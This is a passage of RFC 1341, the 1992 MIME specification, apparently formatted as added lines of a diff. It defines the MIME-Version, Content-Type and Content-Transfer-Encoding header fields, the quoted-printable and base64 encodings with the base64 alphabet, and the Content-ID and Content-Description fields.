information in a number of + character sets and formatted text description + languages in a standardized manner. + + 2.b. A "multipart" Content-Type value, which can be + used to combine several body parts, possibly of + differing types of data, into a single message. + + 2.c. An "application" Content-Type value, which can be + used to transmit application data or binary data, + and hence, among other uses, to implement an + electronic mail file transfer service. + + 2.d. A "message" Content-Type value, for encapsulating + a mail message. + + 2.e An "image" Content-Type value, for transmitting + still image (picture) data. + + 2.f. An "audio" Content-Type value, for transmitting + audio or voice data. + + 2.g. A "video" Content-Type value, for transmitting + video or moving image data, possibly with audio as + part of the composite video data format. + + 3. A Content-Transfer-Encoding header field, which can be + used to specify an auxiliary encoding that was applied + to the data in order to allow it to pass through mail + transport mechanisms which may have data or character + set limitations. + + 4. Two optional header fields that can be used to further + describe the data in a message body, the Content-ID and + Content-Description header fields. + + + + Borenstein & Freed [Page 2] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + MIME has been carefully designed as an extensible mechanism, + and it is expected that the set of content-type/subtype + pairs and their associated parameters will grow + significantly with time. Several other MIME fields, notably + including character set names, are likely to have new values + defined over time. In order to ensure that the set of such + values is developed in an orderly, well-specified, and + public manner, MIME defines a registration process which + uses the Internet Assigned Numbers Authority (IANA) as a + central registry for such values. Appendix F provides + details about how IANA registration is accomplished. + + Finally, to specify and promote interoperability, Appendix A + of this document provides a basic applicability statement + for a subset of the above mechanisms that defines a minimal + level of "conformance" with this document. + + HISTORICAL NOTE: Several of the mechanisms described in + this document may seem somewhat strange or even baroque at + first reading. It is important to note that compatibility + with existing standards AND robustness across existing + practice were two of the highest priorities of the working + group that developed this document. In particular, + compatibility was always favored over elegance. + + 2 Notations, Conventions, and Generic BNF Grammar + + This document is being published in two versions, one as + plain ASCII text and one as PostScript. The latter is + recommended, though the textual contents are identical. An + Andrew-format copy of this document is also available from + the first author (Borenstein). + + Although the mechanisms specified in this document are all + described in prose, most are also described formally in the + modified BNF notation of RFC 822. Implementors will need to + be familiar with this notation in order to understand this + specification, and are referred to RFC 822 for a complete + explanation of the modified BNF notation. + + Some of the modified BNF in this document makes reference to + syntactic entities that are defined in RFC 822 and not in + this document. A complete formal grammar, then, is obtained + by combining the collected grammar appendix of this document + with that of RFC 822. + + The term CRLF, in this document, refers to the sequence of + the two ASCII characters CR (13) and LF (10) which, taken + together, in this order, denote a line break in RFC 822 + mail. + + The term "character set", wherever it is used in this + document, refers to a coded character set, in the sense of + ISO character set standardization work, and must not be + + + + Borenstein & Freed [Page 3] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + misinterpreted as meaning "a set of characters." + + The term "message", when not further qualified, means either + the (complete or "top-level") message being transferred on a + network, or a message encapsulated in a body of type + "message". + + The term "body part", in this document, means one of the + parts of the body of a multipart entity. A body part has a + header and a body, so it makes sense to speak about the body + of a body part. + + The term "entity", in this document, means either a message + or a body part. All kinds of entities share the property + that they have a header and a body. + + The term "body", when not further qualified, means the body + of an entity, that is the body of either a message or of a + body part. + + Note : the previous four definitions are clearly circular. + This is unavoidable, since the overal structure of a MIME + message is indeed recursive. + + In this document, all numeric and octet values are given in + decimal notation. + + It must be noted that Content-Type values, subtypes, and + parameter names as defined in this document are case- + insensitive. However, parameter values are case-sensitive + unless otherwise specified for the specific parameter. + + FORMATTING NOTE: This document has been carefully formatted + for ease of reading. The PostScript version of this + document, in particular, places notes like this one, which + may be skipped by the reader, in a smaller, italicized, + font, and indents it as well. In the text version, only the + indentation is preserved, so if you are reading the text + version of this you might consider using the PostScript + version instead. However, all such notes will be indented + and preceded by "NOTE:" or some similar introduction, even + in the text version. + + The primary purpose of these non-essential notes is to + convey information about the rationale of this document, or + to place this document in the proper historical or + evolutionary context. Such information may be skipped by + those who are focused entirely on building a compliant + implementation, but may be of use to those who wish to + understand why this document is written as it is. + + For ease of recognition, all BNF definitions have been + placed in a fixed-width font in the PostScript version of + this document. + + + + Borenstein & Freed [Page 4] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 3 The MIME-Version Header Field + + Since RFC 822 was published in 1982, there has really been + only one format standard for Internet messages, and there + has been little perceived need to declare the format + standard in use. This document is an independent document + that complements RFC 822. Although the extensions in this + document have been defined in such a way as to be compatible + with RFC 822, there are still circumstances in which it + might be desirable for a mail-processing agent to know + whether a message was composed with the new standard in + mind. + + Therefore, this document defines a new header field, "MIME- + Version", which is to be used to declare the version of the + Internet message body format standard in use. + + Messages composed in accordance with this document MUST + include such a header field, with the following verbatim + text: + + MIME-Version: 1.0 + + The presence of this header field is an assertion that the + message has been composed in compliance with this document. + + Since it is possible that a future document might extend the + message format standard again, a formal BNF is given for the + content of the MIME-Version field: + + MIME-Version := text + + Thus, future format specifiers, which might replace or + extend "1.0", are (minimally) constrained by the definition + of "text", which appears in RFC 822. + + Note that the MIME-Version header field is required at the + top level of a message. It is not required for each body + part of a multipart entity. It is required for the embedded + headers of a body of type "message" if and only if the + embedded message is itself claimed to be MIME-compliant. + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 5] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 4 The Content-Type Header Field + + The purpose of the Content-Type field is to describe the + data contained in the body fully enough that the receiving + user agent can pick an appropriate agent or mechanism to + present the data to the user, or otherwise deal with the + data in an appropriate manner. + + HISTORICAL NOTE: The Content-Type header field was first + defined in RFC 1049. RFC 1049 Content-types used a simpler + and less powerful syntax, but one that is largely compatible + with the mechanism given here. + + The Content-Type header field is used to specify the nature + of the data in the body of an entity, by giving type and + subtype identifiers, and by providing auxiliary information + that may be required for certain types. After the type and + subtype names, the remainder of the header field is simply a + set of parameters, specified in an attribute/value notation. + The set of meaningful parameters differs for the different + types. The ordering of parameters is not significant. + Among the defined parameters is a "charset" parameter by + which the character set used in the body may be declared. + Comments are allowed in accordance with RFC 822 rules for + structured header fields. + + In general, the top-level Content-Type is used to declare + the general type of data, while the subtype specifies a + specific format for that type of data. Thus, a Content-Type + of "image/xyz" is enough to tell a user agent that the data + is an image, even if the user agent has no knowledge of the + specific image format "xyz". Such information can be used, + for example, to decide whether or not to show a user the raw + data from an unrecognized subtype -- such an action might be + reasonable for unrecognized subtypes of text, but not for + unrecognized subtypes of image or audio. For this reason, + registered subtypes of audio, image, text, and video, should + not contain embedded information that is really of a + different type. Such compound types should be represented + using the "multipart" or "application" types. + + Parameters are modifiers of the content-subtype, and do not + fundamentally affect the requirements of the host system. + Although most parameters make sense only with certain + content-types, others are "global" in the sense that they + might apply to any subtype. For example, the "boundary" + parameter makes sense only for the "multipart" content-type, + but the "charset" parameter might make sense with several + content-types. + + An initial set of seven Content-Types is defined by this + document. This set of top-level names is intended to be + substantially complete. It is expected that additions to + the larger set of supported types can generally be + + + + Borenstein & Freed [Page 6] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + accomplished by the creation of new subtypes of these + initial types. In the future, more top-level types may be + defined only by an extension to this standard. If another + primary type is to be used for any reason, it must be given + a name starting with "X-" to indicate its non-standard + status and to avoid a potential conflict with a future + official name. + + In the Extended BNF notation of RFC 822, a Content-Type + header field value is defined as follows: + + Content-Type := type "/" subtype *[";" parameter] + + type := "application" / "audio" + / "image" / "message" + / "multipart" / "text" + / "video" / x-token + + x-token := + + subtype := token + + parameter := attribute "=" value + + attribute := token + + value := token / quoted-string + + token := 1* + + tspecials := "(" / ")" / "<" / ">" / "@" ; Must be in + / "," / ";" / ":" / "\" / <"> ; quoted-string, + / "/" / "[" / "]" / "?" / "." ; to use within + / "=" ; parameter values + + Note that the definition of "tspecials" is the same as the + RFC 822 definition of "specials" with the addition of the + three characters "/", "?", and "=". + + Note also that a subtype specification is MANDATORY. There + are no default subtypes. + + The type, subtype, and parameter names are not case + sensitive. For example, TEXT, Text, and TeXt are all + equivalent. Parameter values are normally case sensitive, + but certain parameters are interpreted to be case- + insensitive, depending on the intended use. (For example, + multipart boundaries are case-sensitive, but the "access- + type" for message/External-body is not case-sensitive.) + + Beyond this syntax, the only constraint on the definition of + subtype names is the desire that their uses must not + conflict. That is, it would be undesirable to have two + + + + Borenstein & Freed [Page 7] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + different communities using "Content-Type: + application/foobar" to mean two different things. The + process of defining new content-subtypes, then, is not + intended to be a mechanism for imposing restrictions, but + simply a mechanism for publicizing the usages. There are, + therefore, two acceptable mechanisms for defining new + Content-Type subtypes: + + 1. Private values (starting with "X-") may be + defined bilaterally between two cooperating + agents without outside registration or + standardization. + + 2. New standard values must be documented, + registered with, and approved by IANA, as + described in Appendix F. Where intended for + public use, the formats they refer to must + also be defined by a published specification, + and possibly offered for standardization. + + The seven standard initial predefined Content-Types are + detailed in the bulk of this document. They are: + + text -- textual information. The primary subtype, + "plain", indicates plain (unformatted) text. No + special software is required to get the full + meaning of the text, aside from support for the + indicated character set. Subtypes are to be used + for enriched text in forms where application + software may enhance the appearance of the text, + but such software must not be required in order to + get the general idea of the content. Possible + subtypes thus include any readable word processor + format. A very simple and portable subtype, + richtext, is defined in this document. + multipart -- data consisting of multiple parts of + independent data types. Four initial subtypes + are defined, including the primary "mixed" + subtype, "alternative" for representing the same + data in multiple formats, "parallel" for parts + intended to be viewed simultaneously, and "digest" + for multipart entities in which each part is of + type "message". + message -- an encapsulated message. A body of + Content-Type "message" is itself a fully formatted + RFC 822 conformant message which may contain its + own different Content-Type header field. The + primary subtype is "rfc822". The "partial" + subtype is defined for partial messages, to permit + the fragmented transmission of bodies that are + thought to be too large to be passed through mail + transport facilities. Another subtype, + "External-body", is defined for specifying large + bodies by reference to an external data source. + + + + Borenstein & Freed [Page 8] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + image -- image data. Image requires a display device + (such as a graphical display, a printer, or a FAX + machine) to view the information. Initial + subtypes are defined for two widely-used image + formats, jpeg and gif. + audio -- audio data, with initial subtype "basic". + Audio requires an audio output device (such as a + speaker or a telephone) to "display" the contents. + video -- video data. Video requires the capability to + display moving images, typically including + specialized hardware and software. The initial + subtype is "mpeg". + application -- some other kind of data, typically + either uninterpreted binary data or information to + be processed by a mail-based application. The + primary subtype, "octet-stream", is to be used in + the case of uninterpreted binary data, in which + case the simplest recommended action is to offer + to write the information into a file for the user. + Two additional subtypes, "ODA" and "PostScript", + are defined for transporting ODA and PostScript + documents in bodies. Other expected uses for + "application" include spreadsheets, data for + mail-based scheduling systems, and languages for + "active" (computational) email. (Note that active + email entails several securityconsiderations, + which are discussed later in this memo, + particularly in the context of + application/PostScript.) + + Default RFC 822 messages are typed by this protocol as plain + text in the US-ASCII character set, which can be explicitly + specified as "Content-type: text/plain; charset=us-ascii". + If no Content-Type is specified, either by error or by an + older user agent, this default is assumed. In the presence + of a MIME-Version header field, a receiving User Agent can + also assume that plain US-ASCII text was the sender's + intent. In the absence of a MIME-Version specification, + plain US-ASCII text must still be assumed, but the sender's + intent might have been otherwise. + + RATIONALE: In the absence of any Content-Type header field + or MIME-Version header field, it is impossible to be certain + that a message is actually text in the US-ASCII character + set, since it might well be a message that, using the + conventions that predate this document, includes text in + another character set or non-textual data in a manner that + cannot be automatically recognized (e.g., a uuencoded + compressed UNIX tar file). Although there is no fully + acceptable alternative to treating such untyped messages as + "text/plain; charset=us-ascii", implementors should remain + aware that if a message lacks both the MIME-Version and the + Content-Type header fields, it may in practice contain + almost anything. + + + + Borenstein & Freed [Page 9] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + It should be noted that the list of Content-Type values + given here may be augmented in time, via the mechanisms + described above, and that the set of subtypes is expected to + grow substantially. + + When a mail reader encounters mail with an unknown Content- + type value, it should generally treat it as equivalent to + "application/octet-stream", as described later in this + document. + + 5 The Content-Transfer-Encoding Header Field + + Many Content-Types which could usefully be transported via + email are represented, in their "natural" format, as 8-bit + character or binary data. Such data cannot be transmitted + over some transport protocols. For example, RFC 821 + restricts mail messages to 7-bit US-ASCII data with 1000 + character lines. + + It is necessary, therefore, to define a standard mechanism + for re-encoding such data into a 7-bit short-line format. + This document specifies that such encodings will be + indicated by a new "Content-Transfer-Encoding" header field. + The Content-Transfer-Encoding field is used to indicate the + type of transformation that has been used in order to + represent the body in an acceptable manner for transport. + + Unlike Content-Types, a proliferation of Content-Transfer- + Encoding values is undesirable and unnecessary. However, + establishing only a single Content-Transfer-Encoding + mechanism does not seem possible. There is a tradeoff + between the desire for a compact and efficient encoding of + largely-binary data and the desire for a readable encoding + of data that is mostly, but not entirely, 7-bit data. For + this reason, at least two encoding mechanisms are necessary: + a "readable" encoding and a "dense" encoding. + + The Content-Transfer-Encoding field is designed to specify + an invertible mapping between the "native" representation of + a type of data and a representation that can be readily + exchanged using 7 bit mail transport protocols, such as + those defined by RFC 821 (SMTP). This field has not been + defined by any previous standard. The field's value is a + single token specifying the type of encoding, as enumerated + below. Formally: + + Content-Transfer-Encoding := "BASE64" / "QUOTED-PRINTABLE" / + "8BIT" / "7BIT" / + "BINARY" / x-token + + These values are not case sensitive. That is, Base64 and + BASE64 and bAsE64 are all equivalent. An encoding type of + 7BIT requires that the body is already in a seven-bit mail- + ready representation. This is the default value -- that is, + + + + Borenstein & Freed [Page 10] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + "Content-Transfer-Encoding: 7BIT" is assumed if the + Content-Transfer-Encoding header field is not present. + + The values "8bit", "7bit", and "binary" all imply that NO + encoding has been performed. However, they are potentially + useful as indications of the kind of data contained in the + object, and therefore of the kind of encoding that might + need to be performed for transmission in a given transport + system. "7bit" means that the data is all represented as + short lines of US-ASCII data. "8bit" means that the lines + are short, but there may be non-ASCII characters (octets + with the high-order bit set). "Binary" means that not only + may non-ASCII characters be present, but also that the lines + are not necessarily short enough for SMTP transport. + + The difference between "8bit" (or any other conceivable + bit-width token) and the "binary" token is that "binary" + does not require adherence to any limits on line length or + to the SMTP CRLF semantics, while the bit-width tokens do + require such adherence. If the body contains data in any + bit-width other than 7-bit, the appropriate bit-width + Content-Transfer-Encoding token must be used (e.g., "8bit" + for unencoded 8 bit wide data). If the body contains binary + data, the "binary" Content-Transfer-Encoding token must be + used. + + NOTE: The distinction between the Content-Transfer-Encoding + values of "binary," "8bit," etc. may seem unimportant, in + that all of them really mean "none" -- that is, there has + been no encoding of the data for transport. However, clear + labeling will be of enormous value to gateways between + future mail transport systems with differing capabilities in + transporting data that do not meet the restrictions of RFC + 821 transport. + + As of the publication of this document, there are no + standardized Internet transports for which it is legitimate + to include unencoded 8-bit or binary data in mail bodies. + Thus there are no circumstances in which the "8bit" or + "binary" Content-Transfer-Encoding is actually legal on the + Internet. However, in the event that 8-bit or binary mail + transport becomes a reality in Internet mail, or when this + document is used in conjunction with any other 8-bit or + binary-capable transport mechanism, 8-bit or binary bodies + should be labeled as such using this mechanism. + + NOTE: The five values defined for the Content-Transfer- + Encoding field imply nothing about the Content-Type other + than the algorithm by which it was encoded or the transport + system requirements if unencoded. + + Implementors may, if necessary, define new Content- + Transfer-Encoding values, but must use an x-token, which is + a name prefixed by "X-" to indicate its non-standard status, + + + + Borenstein & Freed [Page 11] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + e.g., "Content-Transfer-Encoding: x-my-new-encoding". + However, unlike Content-Types and subtypes, the creation of + new Content-Transfer-Encoding values is explicitly and + strongly discouraged, as it seems likely to hinder + interoperability with little potential benefit. Their use + is allowed only as the result of an agreement between + cooperating user agents. + + If a Content-Transfer-Encoding header field appears as part + of a message header, it applies to the entire body of that + message. If a Content-Transfer-Encoding header field + appears as part of a body part's headers, it applies only to + the body of that body part. If an entity is of type + "multipart" or "message", the Content-Transfer-Encoding is + not permitted to have any value other than a bit width + (e.g., "7bit", "8bit", etc.) or "binary". + + It should be noted that email is character-oriented, so that + the mechanisms described here are mechanisms for encoding + arbitrary byte streams, not bit streams. If a bit stream is + to be encoded via one of these mechanisms, it must first be + converted to an 8-bit byte stream using the network standard + bit order ("big-endian"), in which the earlier bits in a + stream become the higher-order bits in a byte. A bit stream + not ending at an 8-bit boundary must be padded with zeroes. + This document provides a mechanism for noting the addition + of such padding in the case of the application Content-Type, + which has a "padding" parameter. + + The encoding mechanisms defined here explicitly encode all + data in ASCII. Thus, for example, suppose an entity has + header fields such as: + + Content-Type: text/plain; charset=ISO-8859-1 + Content-transfer-encoding: base64 + + This should be interpreted to mean that the body is a base64 + ASCII encoding of data that was originally in ISO-8859-1, + and will be in that character set again after decoding. + + The following sections will define the two standard encoding + mechanisms. The definition of new content-transfer- + encodings is explicitly discouraged and should only occur + when absolutely necessary. All content-transfer-encoding + namespace except that beginning with "X-" is explicitly + reserved to the IANA for future use. Private agreements + about content-transfer-encodings are also explicitly + discouraged. + + Certain Content-Transfer-Encoding values may only be used on + certain Content-Types. In particular, it is expressly + forbidden to use any encodings other than "7bit", "8bit", or + "binary" with any Content-Type that recursively includes + other Content-Type fields, notably the "multipart" and + + + + Borenstein & Freed [Page 12] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + "message" Content-Types. All encodings that are desired for + bodies of type multipart or message must be done at the + innermost level, by encoding the actual body that needs to + be encoded. + + NOTE ON ENCODING RESTRICTIONS: Though the prohibition + against using content-transfer-encodings on data of type + multipart or message may seem overly restrictive, it is + necessary to prevent nested encodings, in which data are + passed through an encoding algorithm multiple times, and + must be decoded multiple times in order to be properly + viewed. Nested encodings add considerable complexity to + user agents: aside from the obvious efficiency problems + with such multiple encodings, they can obscure the basic + structure of a message. In particular, they can imply that + several decoding operations are necessary simply to find out + what types of objects a message contains. Banning nested + encodings may complicate the job of certain mail gateways, + but this seems less of a problem than the effect of nested + encodings on user agents. + + NOTE ON THE RELATIONSHIP BETWEEN CONTENT-TYPE AND CONTENT- + TRANSFER-ENCODING: It may seem that the Content-Transfer- + Encoding could be inferred from the characteristics of the + Content-Type that is to be encoded, or, at the very least, + that certain Content-Transfer-Encodings could be mandated + for use with specific Content-Types. There are several + reasons why this is not the case. First, given the varying + types of transports used for mail, some encodings may be + appropriate for some Content-Type/transport combinations and + not for others. (For example, in an 8-bit transport, no + encoding would be required for text in certain character + sets, while such encodings are clearly required for 7-bit + SMTP.) Second, certain Content-Types may require different + types of transfer encoding under different circumstances. + For example, many PostScript bodies might consist entirely + of short lines of 7-bit data and hence require little or no + encoding. Other PostScript bodies (especially those using + Level 2 PostScript's binary encoding mechanism) may only be + reasonably represented using a binary transport encoding. + Finally, since Content-Type is intended to be an open-ended + specification mechanism, strict specification of an + association between Content-Types and encodings effectively + couples the specification of an application protocol with a + specific lower-level transport. This is not desirable since + the developers of a Content-Type should not have to be aware + of all the transports in use and what their limitations are. + + NOTE ON TRANSLATING ENCODINGS: The quoted-printable and + base64 encodings are designed so that conversion between + them is possible. The only issue that arises in such a + conversion is the handling of line breaks. When converting + from quoted-printable to base64 a line break must be + converted into a CRLF sequence. Similarly, a CRLF sequence + + + + Borenstein & Freed [Page 13] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + in base64 data should be converted to a quoted-printable + line break, but ONLY when converting text data. + + NOTE ON CANONICAL ENCODING MODEL: There was some + confusion, in earlier drafts of this memo, regarding the + model for when email data was to be converted to canonical + form and encoded, and in particular how this process would + affect the treatment of CRLFs, given that the representation + of newlines varies greatly from system to system. For this + reason, a canonical model for encoding is presented as + Appendix H. + + 5.1 Quoted-Printable Content-Transfer-Encoding + + The Quoted-Printable encoding is intended to represent data + that largely consists of octets that correspond to printable + characters in the ASCII character set. It encodes the data + in such a way that the resulting octets are unlikely to be + modified by mail transport. If the data being encoded are + mostly ASCII text, the encoded form of the data remains + largely recognizable by humans. A body which is entirely + ASCII may also be encoded in Quoted-Printable to ensure the + integrity of the data should the message pass through a + character-translating, and/or line-wrapping gateway. + + In this encoding, octets are to be represented as determined + by the following rules: + + Rule #1: (General 8-bit representation) Any octet, + except those indicating a line break according to the + newline convention of the canonical form of the data + being encoded, may be represented by an "=" followed by + a two digit hexadecimal representation of the octet's + value. The digits of the hexadecimal alphabet, for this + purpose, are "0123456789ABCDEF". Uppercase letters must + be + used when sending hexadecimal data, though a robust + implementation may choose to recognize lowercase + letters on receipt. Thus, for example, the value 12 + (ASCII form feed) can be represented by "=0C", and the + value 61 (ASCII EQUAL SIGN) can be represented by + "=3D". Except when the following rules allow an + alternative encoding, this rule is mandatory. + + Rule #2: (Literal representation) Octets with decimal + values of 33 through 60 inclusive, and 62 through 126, + inclusive, MAY be represented as the ASCII characters + which correspond to those octets (EXCLAMATION POINT + through LESS THAN, and GREATER THAN through TILDE, + respectively). + + Rule #3: (White Space): Octets with values of 9 and 32 + MAY be represented as ASCII TAB (HT) and SPACE + characters, respectively, but MUST NOT be so + + + + Borenstein & Freed [Page 14] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + represented at the end of an encoded line. Any TAB (HT) + or SPACE characters on an encoded line MUST thus be + followed on that line by a printable character. In + particular, an "=" at the end of an encoded line, + indicating a soft line break (see rule #5) may follow + one or more TAB (HT) or SPACE characters. It follows + that an octet with value 9 or 32 appearing at the end + of an encoded line must be represented according to + Rule #1. This rule is necessary because some MTAs + (Message Transport Agents, programs which transport + messages from one user to another, or perform a part of + such transfers) are known to pad lines of text with + SPACEs, and others are known to remove "white space" + characters from the end of a line. Therefore, when + decoding a Quoted-Printable body, any trailing white + space on a line must be deleted, as it will necessarily + have been added by intermediate transport agents. + + Rule #4 (Line Breaks): A line break in a text body + part, independent of what its representation is + following the canonical representation of the data + being encoded, must be represented by a (RFC 822) line + break, which is a CRLF sequence, in the Quoted- + Printable encoding. If isolated CRs and LFs, or LF CR + and CR LF sequences are allowed to appear in binary + data according to the canonical form, they must be + represented using the "=0D", "=0A", "=0A=0D" and + "=0D=0A" notations respectively. + + Note that many implementation may elect to encode the + local representation of various content types directly. + In particular, this may apply to plain text material on + systems that use newline conventions other than CRLF + delimiters. Such an implementation is permissible, but + the generation of line breaks must be generalized to + account for the case where alternate representations of + newline sequences are used. + + Rule #5 (Soft Line Breaks): The Quoted-Printable + encoding REQUIRES that encoded lines be no more than 76 + characters long. If longer lines are to be encoded with + the Quoted-Printable encoding, 'soft' line breaks must + be used. An equal sign as the last character on a + encoded line indicates such a non-significant ('soft') + line break in the encoded text. Thus if the "raw" form + of the line is a single unencoded line that says: + + Now's the time for all folk to come to the aid of + their country. + + This can be represented, in the Quoted-Printable + encoding, as + + + + + + Borenstein & Freed [Page 15] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Now's the time = + for all folk to come= + to the aid of their country. + + This provides a mechanism with which long lines are + encoded in such a way as to be restored by the user + agent. The 76 character limit does not count the + trailing CRLF, but counts all other characters, + including any equal signs. + + Since the hyphen character ("-") is represented as itself in + the Quoted-Printable encoding, care must be taken, when + encapsulating a quoted-printable encoded body in a multipart + entity, to ensure that the encapsulation boundary does not + appear anywhere in the encoded body. (A good strategy is to + choose a boundary that includes a character sequence such as + "=_" which can never appear in a quoted-printable body. See + the definition of multipart messages later in this + document.) + + NOTE: The quoted-printable encoding represents something of + a compromise between readability and reliability in + transport. Bodies encoded with the quoted-printable + encoding will work reliably over most mail gateways, but may + not work perfectly over a few gateways, notably those + involving translation into EBCDIC. (In theory, an EBCDIC + gateway could decode a quoted-printable body and re-encode + it using base64, but such gateways do not yet exist.) A + higher level of confidence is offered by the base64 + Content-Transfer-Encoding. A way to get reasonably reliable + transport through EBCDIC gateways is to also quote the ASCII + characters + + !"#$@[\]^`{|}~ + + according to rule #1. See Appendix B for more information. + + Because quoted-printable data is generally assumed to be + line-oriented, it is to be expected that the breaks between + the lines of quoted printable data may be altered in + transport, in the same manner that plain text mail has + always been altered in Internet mail when passing between + systems with differing newline conventions. If such + alterations are likely to constitute a corruption of the + data, it is probably more sensible to use the base64 + encoding rather than the quoted-printable encoding. + + + + + + + + + + + + Borenstein & Freed [Page 16] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 5.2 Base64 Content-Transfer-Encoding + + The Base64 Content-Transfer-Encoding is designed to + represent arbitrary sequences of octets in a form that is + not humanly readable. The encoding and decoding algorithms + are simple, but the encoded data are consistently only about + 33 percent larger than the unencoded data. This encoding is + based on the one used in Privacy Enhanced Mail applications, + as defined in RFC 1113. The base64 encoding is adapted + from RFC 1113, with one change: base64 eliminates the "*" + mechanism for embedded clear text. + + A 65-character subset of US-ASCII is used, enabling 6 bits + to be represented per printable character. (The extra 65th + character, "=", is used to signify a special processing + function.) + + NOTE: This subset has the important property that it is + represented identically in all versions of ISO 646, + including US ASCII, and all characters in the subset are + also represented identically in all versions of EBCDIC. + Other popular encodings, such as the encoding used by the + UUENCODE utility and the base85 encoding specified as part + of Level 2 PostScript, do not share these properties, and + thus do not fulfill the portability requirements a binary + transport encoding for mail must meet. + + The encoding process represents 24-bit groups of input bits + as output strings of 4 encoded characters. Proceeding from + left to right, a 24-bit input group is formed by + concatenating 3 8-bit input groups. These 24 bits are then + treated as 4 concatenated 6-bit groups, each of which is + translated into a single digit in the base64 alphabet. When + encoding a bit stream via the base64 encoding, the bit + stream must be presumed to be ordered with the most- + significant-bit first. That is, the first bit in the stream + will be the high-order bit in the first byte, and the eighth + bit will be the low-order bit in the first byte, and so on. + + Each 6-bit group is used as an index into an array of 64 + printable characters. The character referenced by the index + is placed in the output string. These characters, identified + in Table 1, below, are selected so as to be universally + representable, and the set excludes characters with + particular significance to SMTP (e.g., ".", "CR", "LF") and + to the encapsulation boundaries defined in this document + (e.g., "-"). + + + + + + + + + + + Borenstein & Freed [Page 17] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value + Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + The output stream (encoded bytes) must be represented in + lines of no more than 76 characters each. All line breaks + or other characters not found in Table 1 must be ignored by + decoding software. In base64 data, characters other than + those in Table 1, line breaks, and other white space + probably indicate a transmission error, about which a + warning message or even a message rejection might be + appropriate under some circumstances. + + Special processing is performed if fewer than 24 bits are + available at the end of the data being encoded. A full + encoding quantum is always completed at the end of a body. + When fewer than 24 input bits are available in an input + group, zero bits are added (on the right) to form an + integral number of 6-bit groups. Output character positions + which are not required to represent actual input data are + set to the character "=". Since all base64 input is an + integral number of octets, only the following cases can + arise: (1) the final quantum of encoding input is an + integral multiple of 24 bits; here, the final unit of + encoded output will be an integral multiple of 4 characters + with no "=" padding, (2) the final quantum of encoding input + is exactly 8 bits; here, the final unit of encoded output + will be two characters followed by two "=" padding + characters, or (3) the final quantum of encoding input is + exactly 16 bits; here, the final unit of encoded output will + be three characters followed by one "=" padding character. + + Care must be taken to use the proper octets for line breaks + if base64 encoding is applied directly to text material that + has not been converted to canonical form. In particular, + text line breaks should be converted into CRLF sequences + + + + Borenstein & Freed [Page 18] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + prior to base64 encoding. The important thing to note is + that this may be done directly by the encoder rather than in + a prior canonicalization step in some implementations. + + NOTE: There is no need to worry about quoting apparent + encapsulation boundaries within base64-encoded parts of + multipart entities because no hyphen characters are used in + the base64 encoding. + + 6 Additional Optional Content- Header Fields + + 6.1 Optional Content-ID Header Field + + In constructing a high-level user agent, it may be desirable + to allow one body to make reference to another. + Accordingly, bodies may be labeled using the "Content-ID" + header field, which is syntactically identical to the + "Message-ID" header field: + + Content-ID := msg-id + + Like the Message-ID values, Content-ID values must be + generated to be as unique as possible. + + 6.2 Optional Content-Description Header Field + + The ability to associate some descriptive information with a + given body is often desirable. For example, it may be useful + to mark an "image" body as "a picture of the Space Shuttle + Endeavor." Such text may be placed in the Content- + Description header field. + + Content-Description := *text + + The description is presumed to be given in the US-ASCII + character set, although the mechanism specified in [RFC- + 1342] may be used for non-US-ASCII Content-Description + values. + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 19] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7 The Predefined Content-Type Values + + This document defines seven initial Content-Type values and + an extension mechanism for private or experimental types. + Further standard types must be defined by new published + specifications. It is expected that most innovation in new + types of mail will take place as subtypes of the seven types + defined here. The most essential characteristics of the + seven content-types are summarized in Appendix G. + + 7.1 The Text Content-Type + + The text Content-Type is intended for sending material which + is principally textual in form. It is the default Content- + Type. A "charset" parameter may be used to indicate the + character set of the body text. The primary subtype of text + is "plain". This indicates plain (unformatted) text. The + default Content-Type for Internet mail is "text/plain; + charset=us-ascii". + + Beyond plain text, there are many formats for representing + what might be known as "extended text" -- text with embedded + formatting and presentation information. An interesting + characteristic of many such representations is that they are + to some extent readable even without the software that + interprets them. It is useful, then, to distinguish them, + at the highest level, from such unreadable data as images, + audio, or text represented in an unreadable form. In the + absence of appropriate interpretation software, it is + reasonable to show subtypes of text to the user, while it is + not reasonable to do so with most nontextual data. + + Such formatted textual data should be represented using + subtypes of text. Plausible subtypes of text are typically + given by the common name of the representation format, e.g., + "text/richtext". + + 7.1.1 The charset parameter + + A critical parameter that may be specified in the Content- + Type field for text data is the character set. This is + specified with a "charset" parameter, as in: 